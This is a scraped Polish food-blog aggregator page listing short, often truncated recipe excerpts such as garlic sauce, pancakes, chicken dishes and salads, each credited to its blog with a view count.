naleśniki z chrupiącymi brzegami, a w nich kremowy farsz z miękkimi kawałkami kurczaka i siekaną młodą botwinką, która zamienia całość z bladoróżową zapowiedź wiosennych wojaży na talerzach :) W podstawie sosu rozpustne mascarpone, w dodatkach aromatyczna moc świeżego koperku i niewielki, jednakże bardzo wyrazisty rzut kruszonego koziego sera. Uważajcie jednak na to danie, bo jak już się zacznie je jeść

Kuchnia w Słońcu Skąpana
Bezglutenowe Placuszki Bananowe. Bez Mleka. 213

Placuszki w przygotowaniu są bardzo proste i idealne na śniadanie. Z racji tego że mąką ryżowa daje taką jakby suchą konsystencję, możemy przygotować do nich sos na bazie jogurtu naturalnego i owoców. Ja zjadłam obsypane cukrem pudrem, jakoś tego dnia było mi mało słodkiego, chociaż placuszki same w sobie były już słodkie ;) Składniki na około 14 placuszków: 2 średnie banany

Gotowanie...to proste !
Boczniaki w śmietanie / Creamed oyster mushrooms 301

pora i podsmaż do zeszklenia. Dodaj grzyby, wlej 1/3 szklanki wody, przykryj i podgrzewaj przez 10 minut, dopraw solą i pieprzem. Dodaj śmietankę, posyp natką pietruszki i podgrzewaj aż sos lekko zgęstnieje. Podawaj z ulubionym daniem głównym. Smacznego! English version Creamed oyster mushrooms (4 servings) Ingredients: 500 g of oyster mushrooms, large cut in half 150 ml of double cream

karmelowy
sos czosnkowy 194

Sos czosnkowy idealny dodatek do mięs, frytek, pizzy czy grilla :) Duuuuużo lepszy niż ten sklepowy ;) Polecam Składniki: * jogurt naturalny 180 g * 2 łyżki majonezu * 2 ząbki czosnku * 1/3 łyżeczki soli * szczypta pieprzu * większa szczypta ziół prowansalskich Przygotowanie Jogurt naturalny wymieszać z majonezem. Czosnek obrać, posiekać lub przecisnąć przez praskę. Dodać sól, pieprz i zioła prowansalskie. Całość wymieszać, odstawić

Kulinarne przygody
Najlepsze przepisy na szparagi 158

szparagami Sałatka z mozzarellą Wiosenna sałatka ze szparagami Risotto ze szparagami Zielona pizza ze szparagami Szparagi z sadzonymi jajkami Omlet ze szparagami i pieczarkami Tagliatelle ze szparagami Makaron z sosem szparagowym Pizza z zielonymi szparagami Tartaletki ze szparagami Tarta ze szparagami Tarta z zielonymi szparagami Makaron pełnoziarnisty ze szparagami Pieczone szparagi Szparagi z sezamem

Kulinarne przygody Gatity
Makaron z boczkiem w sosie carbonara 232

wlewamy śmietanę z żółtkami i zagotowujemy. Dodajemy ser i mieszamy, aż się rozpuści. Wlewamy do patelni ze skwarkami i przyprawiamy do smaku pieprzem i solą. Makaron odcedzamy. Polewamy go sosem i gotowe. Smacznego

Maminek kulinarny
Piersi z kurczaka w prosciutto z mozzarellą i pomidorkami 432

pokrojoną na plasterki mozzarellą. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Kieszonki z kurczaka nadziewane serkiem topionym z szynką i bazylią → Piersi kurczaka w szynce szwarcwaldzkiej i sosem pomidorowym ze szparagami → Skrzydełka miodowo-musztardowe → Piersi kurczaka z orzechowo-pietruszkowym pesto i pieczonymi pomidorkami koktajlowymi

Oryginalny smak
Krokiety ziemniaczane 601

Krokiety ziemniaczane - jako dodatek do mięsa, gulaszu, ryby lub z pysznym sosem np. grzybowym. Smaczne także jako samodzielne danie ponieważ ten przepis przewiduje dodatek sera w środku  . Krokiety ziemniaczane podane z warzywami to pyszne wegetariańskie   danie . Krokiety ziemniaczane SKŁADNIKI 600g ziemniaków 2 jajka łyżka masła kawałek żółtego sera bułka tarta sól,pieprz olej do smażenia SPOSÓB PRZYGOTOWANIA Ugotowane

zielonacukinka
SZASZŁYKI Z KURCZAKA, PIKANTNE W MIODZIE I DIETETYCZNE NA GRILLA + FILMIK 172

marynaty miodowej. Następnie z marynaty jogurtowej nabijamy mięso naprzemiennie z warzywami.  Szaszłyki grillujemy na rozgrzanym grillu, z każdej strony aż będą upieczone.  Podajemy ciepłe z ulubionymi sosami.  Smacznego .                                        Zapraszam do obejrzenia filmiku i subskrybcji kanału

Kulinarne Fantazje Marioli
Pierś kurczaka z tymiankiem 196

roku oczywiście wykorzystałam kurki z solanki , grzybów tym razem nie siekałam, wykorzystałam całe kurki. Polecam też na obiad pierś z kurczaka po prowansalsku , kurczak z warzywami i pieczarkami w sosie paprykowym, Pierś faszerowana serem i warzywami , a szczególnie pierś kurczaka zapiekana z warzywami , kurczak caprese , czyli pierś z pomidorami i mozzarellą, faszerowana pierś z rukolą, faszerowana pierś z serem kozim

Damsko-męskie spojrzenie na kuchnię
Proste placuszki z jagodami 160

mąki pszennej lub orkiszowej szklanka maślanki 2 jajka łyżka cukru trzcinowego z prawdziwą wanilią 0/5 łyżeczki sody 3 łyżki jagód (poza sezonem mrożonych) odrobina oleju kokosowego do natłuszczenia patelni sos: jogurt naturalny pół szklanki jagód Wszystkie składniki, poza jagodami, miksujemy. Dodajemy jagody i delikatnie mieszamy. Na mocno rozgrzaną, natłuszczoną patelnię nakładamy po łyżce masy, formując placuszki. W momencie, gdy zauważymy

Mienta blog
Gnochi di patate 160

Podstawowy przepis na klasyczne włoskie kluseczki Gnocchi. Robi się je z ziemniaków gotowanych w mundurkach i podaje  same z różnego rodzaju sosami lub jako dodatek do mięsa. Polecam Wam zaopatrzyć się w specjalną drewnianą deseczkę do gnocchi, która posiada specjalne ryflowanie, dzięki któremu otrzymujemy na kluseczkach ciekawy wzór. Składniki: 1 kg ziemniaków 250 g mąki pszennej jajko łyżeczka soli

wyzwania kuchenne
Sałatka z arbuzem, serem feta, oliwkami i... 192

Niedawno pokazałam Wam sałatkę z brokułem i sosem czosnkowym ... na rozgrzewkę.   Bo wtedy było zimno i ta sałatka doskonale pasowała na taką pogodę. Ale dzisiaj, mam dla Was sałatkę zupełnie inną. Orzeźwiającą. Jest bardzo soczysta, słodka, ze zrównoważonym smakiem serka fety i czarnych oliwek. Nie podaję ilości składników, ponieważ to zależy od tego co kto lubi i jaki składnik

Kuchnia u Krysi
Łosoś pod pierzynką śmietanowo-chrzanową podany z pieczonymi ziemniakami i smażonymi szparagami 152

małą blaszkę do pieczenia i delikatnie przekroić na 2 części. Rybę przyprawić solą oraz pieprzem, skropić odrobiną soku z cytryny i posypać posiekanym koperkiem. Śmietanę wymieszać z chrzanem. Przygotowany sos rozsmarować na wierzchu łososia. Blaszkę z łososiem wstawić do piekarnika i piec około 17 minut, aż do zmiany koloru łososia. Uwaga: podczas wkładania łososia do piekarnika, z naczynia żaroodpornego

Ugotować
Makaron z pieczoną dynią i fetą 173

fetę i całość raz jeszcze mieszamy. Gdy makaron się ugotuje ( mój ok. 8 minut ) odcedzamy go i przekładamy wraz z pięcioma łyżkami wody spod makaronu do naszej patelni z sosem. Wszystko dokładnie mieszamy, doprawiamy do smaku solą i pieprzem i podajemy.   ( Jedna porcja makaronu została na patelni a jak ją wykorzystałam już niedługo Wam zdradzę ! )   Makaron z pieczoną

Kuchnia na wzgórzu
Sezamowe pesto z rukoli 137

kuchni bo można go użyć jako pasty na kanapki - ja używam zamiast masła, można z nim zrobić makaron albo ryż czy kaszę, można także dodać do zupy czy sosów. Zastosowań ma wiele i w każdym podbija smak dania. Sezamowe pesto z rukoli. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
MUFFINY Z KASZY JAGLANEJ, TUŃCZYKA I PESTO 154

niej poprzez pieczenie babeczek z kaszy jaglanej. Babeczki są delikatne, miękkie i bardzo zdrowe. Tuńczyk nadaje wilgotności babeczkom. Składniki: 1 szklanka kaszy jaglanej 1 puszka tuńczyka w sosie własnym Princes garść zielonej ugotowanej fasolki szparagowej 1 czerwona cebula 1 czerwona papryka 2 łyżki pestek dyni 3 łyżeczki czerwonego pesto z suszonych pomidorów 1 jajko 1 łyżka posiekanej pietruszki sól pieprz

Kuchnia w oparach
Roladki z indyka z serem i suszonym pomidorem w sosie śmietanowym ze szpinakiem, oliwkami, kurkumą i pomidorami 198

usmażonych roladek (zmniejszamy gaz), oprószamy solą i pieprzem, dodajemy czosnek, mieszamy, dodajemy oliwki i suszone pomidory, oraz kurkumę. Delikatnie mieszamy, dolewamy śmietankę, mieszamy. Zostawiamy na gazie na kilka minut (sos powinien nam troszkę zgęstnieć), jeśli trzeba doprawiamy solą i pieprzem. Podajemy z surówką, ryżem, kaszą, ziemniakami itd. Smacznego

kruche babeczki
OMLET OWSIANY 188

jajka 1,5 łyżki płatków owsianych górskich 1 łyżka mleka sól, pieprz 1 łyżka oleju do smażenia Dodatki: garść roszponki, mały pomidor malinowy, kilka oliwek czarnych, kilka plasterków ogórka, sos winegret lub na słodko z dżemem, owocami i cukrem pudrem. SPOSÓB PRZYGOTOWANIA: Oddzielić białka od żółtek, jedno i drugie ubić w oddzielnych miseczkach przy czym UWAGA białka dodać do żółtek

pieprzny smaczek
WARZYWNE PRZEKĄSKI Z GRILLA + FILMIK 245

kładziemy po plastrze salami i plasterku sera.  Warzywa układamy na rozgrzanym grillu i grillujemy aż ser się rozpuści i ładnie przypiecze.  Podajemy cieple z ulubionymi sosami.  Smacznego.                                     Zapraszam do obejrzenia filmiku i subskrybcji kanału

Kulinarne Fantazje Marioli
Jagnięcina z cukinią i fasolką szparagową / Lamb with zucchini and green beans 212

Jagnięcina to specyficzne mięso i musi być ona dobrze przyrządzona, najlepiej z dużą ilością warzyw. Taką właśnie dziś Państwu prezentuję Pyszne, rozpływające się w ustach kotleciki jagnięce w sosie pomidorowym, z cukinią, fasolką szparagową, boczkiem i bazylią, z pewnością zachwycą wszystkich amatorów tego rodzaju mięsa. Danie jest praktycznie jednogarnkowe, bardzo szybko się je przygotowuje, a co najważniejsze – jest bardzo

karmelowy
Kotlety z indyka z cukinią i marchewką 191

pieczone z rozmarynem – Satay z indyka pikantny – Indyk w potrawce – Dietetyczny indyk z kaszą i warzywami – Ćevapčići z mielonego mięsa z indyka – klopsiki w sosie koperkowym Z mielonego mięsa z indyka zrobiłam pieczone kotlety z warzywami. Składniki na 12 sztuk kotletów z indyka z cukinią i marchewką 500 g udźca z indyka bez skóry

Damsko-męskie spojrzenie na kuchnię
Brokuły i feta czyli przepis na pyszną sałatkę 184

brokuły, fetę kruszymy w palcach na małe kawałki. Do miski przekładamy brokuły i fetę. W kubku mieszamy jogurt z majonezem dodajemy rozdrobniony ząbek czosnku, doprawiamy pieprzem. Polewamy brokuły przygotowanym sosem i mieszamy. Sałatka gotowa. Nie używam soli, bo feta wg mnie już jest wystarczająco słona. Taką sałatkę możesz podać do obiadu, na kolację lub zabrać na piknik, do pracy

Kuchnia na wzgórzu
Naleśniki z kurczakiem i warzywami 161

miksujemy przez chwilę na wolnych obrotach. 7. Naleśniki smażymy na patelni teflonowej bez dodatku tłuszczu. 8. Farsz nakładamy na naleśniki i zwijamy w rulon. 9. Naleśniki podajemy z sosem czosnkowym (wyciśnięty przez praskę czosnek łączymy z sokiem z cytryny, szczyptą soli, pieprzu i jogurtem). Naleśniki z kurczakiem i warzywami są bogate w: - błonnik pokarmowy, który daje uczucie sytości i przyspiesza

Zdrowe odżywianie w pięciu smakach
Koreczki, przekąski i przystawki. Imprezowe hity! 3846

PRZEKĄSKI: *** Camembert smażony w panierce z płatków kukurydzianych PRZEPIS TUTAJ *** Rollsy z tortilli z łososiem PRZEPIS TUTAJ *** Rollsy z tortilli z szynką PRZEPIS TUTAJ *** Roladki z szynki z sosem chrzanowym PRZEPIS TUTAJ *** Mini burgery PRZEPIS TUTAJ *** Imprezowe mini pizzerinki – szybkie i pyszne PRZEPIS TUTAJ *** Mięsno-warzywne kulki iw cieście PRZEPIS TUTAJ *** Ogórkowe roladki z twarożkiem i łososiem PRZEPIS TUTAJ

Blog z Apetytem
Pieczone bataty z wędzonym boczkiem 154

łyżka oliwy z oliwek sól morska pieprz ziołowy 6 gałązek tymianku 6 plasterków wędzonego surowego boczku 10 dag sera żółtego ketchup (przepis znajdziesz  tutaj  ) lub ostry sos paprykowy Sposób wykonania: Bataty myjemy i przekrawamy na pół. Kawałki układamy na dużej blasze wyłożonej papierem do pieczenia.  Skrapiamy je oliwą z oliwek i posypujemy solą i pieprzem. Na każdy

Qchnia po prostu
Latte macchiato- domowy przepis 146

słodki smak całości. Następnie do szklanki delikatnie wlewamy ok. 30 ml aromatycznego espresso, zaparzonego ze świeżo zmielonej kawy ziarnistej . Wierzch kompozycji przyozdobić można następnie także bitą śmietaną z dodatkiem sosu smakowego lub posypki. Smacznego

Tradycyjna Kuchnia
Klops z pieczarkami 186

Lubicie zrobić czasem pieczeń, która nadaje się na ciepło z sosem do obiadu, a później na zimno np. na kanapki? Oprócz klasycznych mięs pieczonych w całości fajnym rozwiązaniem są pieczenie z mięsa mielonego. Wedle uznania lub okazji można je urozmaicić dorbnymi dodatkami - wetkniętymi gotowanymi jajkami lub warzywami. U mnie ostatnio gościła w wersji pachnącej pieczarkami. Składniki (8 porcji

Zielona Kuchnia
Ziemniaczki smażone z rozmarynem 157

rozmarynem, papryką słodką, solą i pieprzem. Gdy się zezłocą, będą miękkie w środku, a chrupiące zewnątrz wówczas wykładamy na półmisek i podajemy. Idealnie smakują z porcją grillowanego mięsa i sosem czosnkowym

KUCHNIA POLSKA
Makaron z kurczakiem i cukinią w sosie curry 241

Dziś przepis na szybki obiad z makaronem,  kurczakiem i cukinią w sosie curry. Użyłam do tego dania makaronu świderki,  ale możecie użyc dowolnego jaki Wam wpadnie  do ręki. W yszło pysznie, polecam: ) Składniki: 500 g filetu z kurczaka 300 g makaronu świderki 2 cukinie 1 cebula 2 ząbki czosnku 350 ml śmietany 18% olej do smażenia słodka

magiczna kuchnia Kasi
Imprezowe zawijańce serowe 180

francuskiego to rewelacyjny pomysł na pyszną przekąskę. Świetnie wyglądają i wspaniale smakują, a do tego są szybkie i łatwe w przygotowaniu. Zawijańce możemy podać z ketchupem albo z domowym sosem czosnkowym. Polecam!   Składniki: 1 ciasto francuskie ok 6 cienkich parówek 10 dkg żółtego sera suszona bazylia do posypania   *** Ciasto francuskie tniemy na prostokąty o długości około

Blog z Apetytem
Babka migdałowa 217

nadmiar strzepać. Przełożyć do niej ciasto, wyrównać. Piec w temp. 160°C przez 40-45 minut do tzw. suchego patyczka. Wyjąć z piekarnika, przestudzić. Polukrować i ozdobić jajeczkami czekoladowymi. Sos czekoladowy: 50 g białej czekolady 20 ml śmietany kremówki 30% lub 36% Składniki umieścić w kąpieli wodnej i roztopić, wymieszać. Smacznego 😊 Źródło  klik

Słodka Strefa
Smoothie z bananów, jabłek i soku pomarańczowego 201

Gęste, treściwe i banalnie proste do przygotowania smoothie z bananów, jabłek i sosu pomarańczowego. Wystarczy wszystko zmiksować, przelać do szklanek i delektować się smakiem… W upalne dni warto dodać kilka kostek lodu. Polecam Składniki: 2 banany 2 jabłka 1,5 szklanki soku pomarańczowego Przygotowanie: Jabłka obrać, usunąć gniazda nasienne i wrzucić do kielicha blendera. Dodać obrane banany

Oryginalny smak
Placki ziemniaczane z cukinią i tymiankiem 238

rzadka to dodać odrobinę bułki tartej. Kłaść łyżką placuszki na rozgrzany olej i smażyć średnio powoli z obu stron na złoto. Po usmażeniu odsączyć na ręczniku papierowym. Podawać z sosem czosnkowym

Tradycyjna Kuchnia
Kanapka z sałatką z tuńczyka 260

wypełniona po brzegi pyszną sałatką z tuńczyka jest nie do pokonania. Sałatka z tuńczyka pojawia się u mnie w miarę często. Lubię ryby i lubię tuńczyka ale najbardziej w sosie lub sałatce majonezowej. Sałatka z tuńczyka to przepis na tradycyjną sałatkę z rybą, do której dodaję jajka, ogórek, zioła i majonez. Jadam sałatki prosto z miski ale dzisiaj zrobiłam inaczej

codojedzenia
Sałatka z pieczonego kalafiora 195

moim domu dobrą alternatywą dla tego z wody, z bułką tartą. Żeby jednak ocenić sałatkę całościowo… no, mam problem, jak nigdy. Jest to z pewnością nietypowa propozycja. Sam sos – słodko-kwaśno-ostry z jednej strony zachwyca, a z drugiej – w połączeniu z kalafiorem – pozostawia w głowie pewnego rodzaju niedopowiedzenie… Na prawdę, sama nie wiem

Smaki Na Talerzu
Sałatka z pęczakiem i fetą 181

nasienne i nasionka, kroimy w kostkę. Fete również kroimy w kostkę. Cebulę obieramy i kroimy w drobna kostkę. Wszystko wrzucamy do kaszy, dodajemy koperek i posiekane listki mięty. Wlewamy sos i wszystko dokładnie mieszamy. Odstawiamy na 30 minut

Kulinarne przygody Gatity
Golonka z indyka duszona w warzywach 208

tego kawałka mięsiwa z indyka. Dziś zapraszam na indycze golonki duszone w warzywach - sycące i smakowite danie. Indyk uduszony w warzywach jest mięciutki, dosłownie rozpływa się w ustach, a sos jest bardzo aromatyczny. Dodatkowo aromatyzowałam go kurkumą i imbirem. Zapraszam do przepisu! Składniki: 4 golonki z indyka (około 1,800 kg) sól, pieprz słodka papryka w proszku kurkuma

Gotuj zdrowo!Guten Appetit!
Gołąbki z kapusty pekińskiej z ryżem i pieczarkami 341

porcjami na liście kapusty, zawijamy i układamy w żaroodpornym naczyniu posmarowanym oliwą. Zapiekamy w 200 stopniach C około 15 minut. Podlewamy sokiem pomidorowym i zapiekamy kolejne 15 minut. Gdy sos zgęstnieje wyciągamy gołąbki i podajemy. Smacznego!   The post Gołąbki z kapusty pekińskiej z ryżem i pieczarkami appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Szybka zupa meksykańska, danie jednogarnkowe 280

takiego przygotowanego na tatar 1 puszka pokrojonych pomidorów 1 puszka kukurydzy 1 puszka czerwonej fasoli  1 duża cebula, najlepiej czerwona 700 ml passaty pomidorowej 1 łyżka słodkiej papryki sos chili z domowej spiżarni sól, pieprz, świeża natka pietruszki 3 łyżki oliwy lub oleju do podsmażenia cebuli i mięsa woda lub bulion ilość zależy od waszych upodobań czy zupa

Życie zaczyna się w kuchni
Indyk z serkiem mascarpone i pomidorami koktajlowymi 194

małe plastry. W garnku rozgrzewamy olej i smażymy indyka razem z boczkiem na złoty kolor. Dodajemy serek mascarpone i śmietanę. Dusimy do momentu aż mięso będzie miękkie.  Do sosu dodajemy przekrojone na pół pomidory koktajlowe i poszatkowaną bazylię. Mieszamy i podgrzewamy przez 5 minut. Indyka podajemy z makaronem ugotowanym al'dente

Qchnia po prostu
PEŁNOZIARNISTY MAKARON Z SZYNKĄ, SPZINAKIEM I PAPRYKĄ 155

minuty. 4. Dodajemy pokrojoną w drobną kostke szynke i Ząbek czosnku. Dusimy ok 4 minuty po czy dodajemy szpinak. Jesli jest mrozony czekamy az wymiesza sie z reszta sosu po czym dodajemy łyżke śmietany.  5. Mieszamy z makaronem.  SMACZNEGO

BezglutenowaIzabela
Pulled beef czyli pieczona łata wołowa w domowej bułce z jabłkami szara reneta w maśle orzechowym oraz marchewką i porem 128

wody. Na koniec gotowania wyławiam mięso, które zalewam winem i połową bulionu z gotowania i duszę jeszcze dwie godziny na wolnym ogniu, natomiast warzywa gotuję w bulionie do zredukowania sosu. Gotowe mięso szarpię widelcami. Podaję w bułce z warzywami i karmelizowanym jabłkiem.  Karmelizowane jabłka 1 kg jabłek szara reneta szczypta cukru  kilka łyżek masła  kilka łyżek masła

Mango Papaja
Jak przechowywać papryczkę chilli 264

Ponieważ zazwyczaj do potraw nie dodajemy całej papryczki chilli i duża jej część się marnuje, chciałbym dziś podać Wam świetny sposób jak przechowywać papryczkę chilli aby

Kulinarnyblog.pl - wiesz jak gotować!
Poniedziałek: Nuggetsy z kurczaka z kolorowymi frytkami 171

przypala. Wyciągnij nugettsy z piekranika i odstaw do przestygnięcia. Sprawdź czy frytki już się upiekły (punktem odniesienia jest seler, który upiecze się najszybciej). Wyciągnij z piekarnika, podawaj z nugettsami, sosem i dowolną sałatką. Domowe nuggetsy gotowe! Smacznego! Artykuł Poniedziałek: Nuggetsy z kurczaka z kolorowymi frytkami pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Pomidorowe naleśniki z serkiem i wędzonym łososiem 171

soli i olej. Całość zmiksować na ciasto. Usmażyć na suchej patelni około 8 nalesników. Gotowe naleśniki smarować serkiem, na wierzch układać wędzonego łososia. Zwijać w ruloniki. Podawać polane ulubionym sosem (u mnie serowy roquefort). Wartość energetyczna (1 porcja) Energia: 404,9 kcal Tłuszcz: 22,1g Białko: 19,7g Węglowodany: 30,8g Smacznego

Zielona Kuchnia
Sałatka ziemniaczana do grilla 440

wielkości kostkę *** *** Ogórki i rzodkiewki również kroimy w kostkę średniej wielkości *** *** Majonez mieszamy z jogurtem i przeciśniętym czosnkiem. Dodajemy drobno posiekany koperek *** *** Mieszamy i delikatnie doprawiamy solą oraz pieprzem *** *** Sos mieszamy z pokrojonymi wcześniej warzywami. W razie potrzeby doprawiamy jeszcze całość solą oraz pieprzem *** *** Przed podaniem sałatkę wkładamy do lodówki na minimum godzinę aby smaki się połączyły *** *** SMACZNEGO *** POLECAM TAKŻE

Blog z Apetytem
Pieczeń z indyka z papryką 182

sucha. Po upieczeniu pieczeń wystudzić w foremce i pozwolić jej również w niej zastygnąć. Mięso wtedy wchłonie część wytopionego soku, a pozostałą jego część można wykorzystać, jako bazę do sosu lub wywar do zupy. Pieczeń z indyka jest delikatniejsza, niż wieprzowa i chętnie jedzą ją nawet dzieci. Osobiście nie przepadam za sklepowymi wędlinami i wolę sama upiec kawałek mięsa

Kuchcik gotuje
Wiosenne Placki Z Cukinii 152

Mieszamy całość do uzyskania niezbyt gęstej konsystencji. 3. Rozgrzewamy patelnie z niedużą ilością oleju i smażymy placuszki na rumiana z oby dwóch stron. Podajemy ze śmietaną/jogurtem, ketchupem lub sosem np. tzatziki. Smacznego

Gotowanie...to proste !
Pyszne i zdrowe roladki schabowe 194

roladki, wlewamy gorąca wodę. Pieczemy mięsko w piekarniku nagrzanym do temp. 180, pod przykryciem, przez około 40 minut. W trakcie pieczenia możemy polać nasze roladki raz lub dwa powstałym sosem. Po 40 minutach odkrywamy roladki i kontynuujemy pieczenie przez kolejne 10 minut. Wyciągamy roladki z piekarnika, przekładamy na talerz. Artykuł Pyszne i zdrowe roladki schabowe pochodzi z serwisu Kulinarne Impresje

KulinarneImpresje.pl
Suflet ziemniaczany z parmezanem 190

Suflet ziemniaczany z parmezanem Przystawka na jesienne wieczory, puszysta i smaczna. Dobrze pasuje do nabiału, przeróżnych mięs, ryb oraz sosów. U mnie była to uczta z dodatkiem sałaty batawii, mojej ulubionej. Proporcja na 4 kokilki. Składniki: 4 ugotowane ziemniaki  2 jajka 1 płaska łyżeczka soli morskiej 1 szczypta świeżo zmielonego pieprzu 1 szczypta świeżo startej gałki muszkatołowej 1 garść

Wino Francja Kuchnia
Tarta Tatin z cykorią i roquefortem 177

patelni rozgrzać masło, dodać miód, podsmażyć cykorię z obydwu stron , oprószyć solą i pieprzem, karmelizować około 10 minut. Formę do tarty wysmarować masłem, cykorię ułożyć w kształcie gwiazdy. Polać sosem z patelni. Ułożyć na nich po plastrze roqueforta, całość przykryć ciastem francuskim, lekko docisnąć przy krawędziach. Nakłuć ciasto. Piec w temperaturze 200 stopni około 20 minut. Po upieczeniu odczekać

Wino Francja Kuchnia
Kaczka pieczona w winie z szalotką i kasztanami 237

kaczki. Jeżeli mięso nie będzie jeszcze odpowiednio kruche pozwolić mu na dłuższe pieczenie pod kontrolą.  (Uwaga -około 20 minut przed końcem odkryć naczynie, by mięso się przyrumieniło, a sos zredukował) W osobnym garnku ugotować ziemniaki z solą, pieprzem oraz gałką muszkatołową. Po 20 minutach dodać mrożony groszek, wyłączyć gaz. Po chwili odcedzić z wody, dodać masło, śmietankę i ubić

Wino Francja Kuchnia
Spaghetti z mulami i krewetkami w kremowym sosie winnym 171

Spaghetti z mulami i krewetkami w kremowym sosie winnym Zainspirowane zakupami na zaprzyjaźnionym podparyskim ryneczku. Polecam takie uczty wszystkim tym, którzy kochają owoce morza i mają do nich bezpośredni dostęp. Zapraszam. Składniki: 250 g makaronu spaghetti 300 g świeżych muli 150 g świeżych krewetek 1 szalotka 1 ząbek czosnku 1 gałązka tymianku 1 liść laurowy 250 ml białego wytrawnego

Wino Francja Kuchnia
Sałatka z bakłażana i ciecierzycy 179

pomidorki koktajlowe pokojone na pół lub na ćwiarti oraz drobno krojone listki mięty. W garnuszku wymieszać 3 łyżki oliwy z oliwek, 1/4 łyżeczkę soli oraz sok z cytryny. Gotowym sosem zalać składniki w misce. Dokładnie wymieszać. Sałatka z bakłażana i ciecierzycy O czym warto pamiętać przygotowując sałatkę. Sałatkę przed podaniem warto schłodzić w lodówce. Do sałatki najlepsza będzie cebula czerwona

mecooks
Sałatka z mozzarellą, awokado i pomidorkami 360

mozzarella, awokado i mieszankę sałat *** *** W osobnej miseczce mieszamy oliwę z oliwek z sokiem z limonki oraz drobno posiekaną bazylią. Doprawiamy delikatnie solą i pieprzem, mieszamy i tak uzyskanym sosem polewamy sałatkę *** *** SMACZNEGO *** POLECAM RÓWNIEŻ: NAJLEPSZE PRZEPISY NA SAŁATKI KLIKNIJ TUTAJ POMYSŁY NA NIEDZIELNY I ŚWIĄTECZNY OBIAD KLIKNIJ TUTAJ DANIA JEDNOGARNKOWE – POMYSŁY NA SZYBKIE I PYSZNE OBIADY KLIKNIJ TUTAJ POMYSŁY

Blog z Apetytem
Zapiekanka z bakłażanem i mięsem mielonym 193

Pyszna zapiekanka z pięknie wyglądającym bakłażanem, który idealnie komponuje się z mięsem mielonym w sosie pomidorowym i parmezanem. Idealna na wiosenne obiady. Czytaj więcej

Czekoladowa muffinka
Japońskie śniadanie w Ka Udon Bar 200

domu. Ja to jeszcze duuuużo bym dała, gdyby w takim śniadanku znalazła się yuba, czyli „kożuch” z mleka sojowego. Wygląda jak średnio apetyczny glucik, ale w połączeniu z sosem sojowym i odrobineczką wasabi to istne niebo w gębie. Ach te marzenia… Ka Udon Bar – śniadanie Właśnie takie śniadania jadłam w Japonii najczęściej. Pożywne, wieloelementowe, kolorowe. Jeśli macie ochotę skosztować

Kate's Kitchen
Piersi z kurczaka w sosie curry 559

Bardzo lubimy dodatek przyprawy curry do różnego rodzaju dań, więc gdy u Chilitonki znalazłam przepis na piersi kurczaka w sosie curry musiałam go wypróbować. Przeczucie i opinie były bardzo trafione, obiadek wyszedł palce lizać (choć zmniejszyłam jego ostrość)! Kolejny łatwy i pyszny przepis trafił do mojej kolekcji i przekazuję go dalej, spróbujcie :) Składniki na 4 porcje: 4 pojedyncze piersi

Simply Food
Wegetariańskie burgery z halloumi i awokado 165

krowiego. Ma zwartą konsystencję i świetnie nadaje się do smażenia i grillowania. Można wykorzystywać go na wiele sposobów. Burgery uzupełniają: awokado, pomidor, czerwona cebula i sałata oraz ulubiony sos.     Składniki /4 porcje/: 4 bułki do burgerów Czytaj dalej... Artykuł Wegetariańskie burgery z halloumi i awokado pochodzi z serwisu Pasja Smaku

Pasja Smaku
MAKARON PEŁNOZIARNISTY Z POLĘDWICZKĄ KURCZAKA I SZPINAKIEM 231

dodaję szpinak, smażę często mieszając (aż liście szpinaku nieco zwiędną). Wlewam śmietanę, zagotowuję. Całość zagęszczam mieszanką wody z mąką, gotuję jeszcze przez chwilę na małym ogniu do momentu zgęstnienia sosu.  Danie doprawiam do smaku solą oraz pieprzem, łączę z makaronem

JejKuchnia
Gulasz z indyka z warzywami 207

dorzucamy do reszty podsmażonych składników.  3. Całość zalewamy wcześniej przygotowanym bulionem, dodajemy obie papryki, passatę, pokrojone ogórki kiszone i kukurydzę. Gotujemy na średnim ogniu około 15 minut (jak sos byłby za gęsty możemy dodać trochę wody), pod koniec dodajemy fasolkę i śmietankę, mieszamy, doprawiamy i gotowe :-). Podajemy z kaszą, ryżem lub z chlebem. Smacznego

kruche babeczki
Kurczak z suszonymi owocami 133

sparzone śliwki i morele, rozgniecione goździki i kardamon, cukier. Zalać wodą i dusić pod przykryciem do miękkości. Doprawić do smaku solą. Gdy kurczak będzie miękki, wyjąć go, a do sosu dodać zimne masło. Wymieszać, zagotować. Zdjąć z ognia. Podawać z ryżem. zastawa

królestwo garów
Filet kurczaka w sosie pomidorowo-maślanym z bazylią 132

praske lub drobno pokroić. Na tą samą patelnię z oliwą wylożyć pomidory i podsmażyć aż się rozpadną. Dodać czosnek i masło i smazyć mieszając aż masło się rozpuści. Do sosu włożyć filet kurczaka. Poddusić około 10 minut. Dodać świeżą bazylię. Poddusić 3-4 minuty. Podawać z makaronem. Wartość energetyczna (1 porcja) Energia: 311,5 kcal Tłuszcz: 22,3g Białko

Zielona Kuchnia
Zapiekanka Makaronowa z Mięsem Mielonym i Pomidorami 119

przepisu. 2.Na patelni rozgrzewamy masło, smażymy cebulę, dodajemy mięso mielone. 3.Gdy mięso się usmaży doprawić solą i pieprzem. 4.Dodać pomidory krojone z puszki i cukier,całość zagotować. 5.Przygotowany sos zmieszać z makaronem i przełożyć do pojemnika żaroodpornego 6.Wierzch wyłożyć serem żółtym, startym na tarce lub pokrojonym na paski. 7.Całość zapiec 25-30 minut w temp.180

Dziś Ja gotuje
Domowa pizza na cieście z dodatkiem suszonej bazylii 291

minutach wyciągamy podpieczone ciasto – powinno ładnie podrosnąć. Nakładamy farsz i całość obficie posypujemy startym serem żółtym. Wkładamy na kolejne 10 minut do piekarnika. Podajemy z ulubionymi dodatkami (sosem, ketchupem itd). Smacznego

Słodkie okruszki
Poniedziałek: Nuggetsy z kurczaka z kolorowymi frytkami 192

przypala. Wyciągnij nugettsy z piekranika i odstaw do przestygnięcia. Sprawdź czy frytki już się upiekły (punktem odniesienia jest seler, który upiecze się najszybciej). Wyciągnij z piekarnika, podawaj z nugettsami, sosem i dowolną sałatką. Domowe nuggetsy gotowe! Smacznego! Artykuł Poniedziałek: Nuggetsy z kurczaka z kolorowymi frytkami pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Wołowe zrazy zawijane - w sam raz na świąteczny obiad. 178

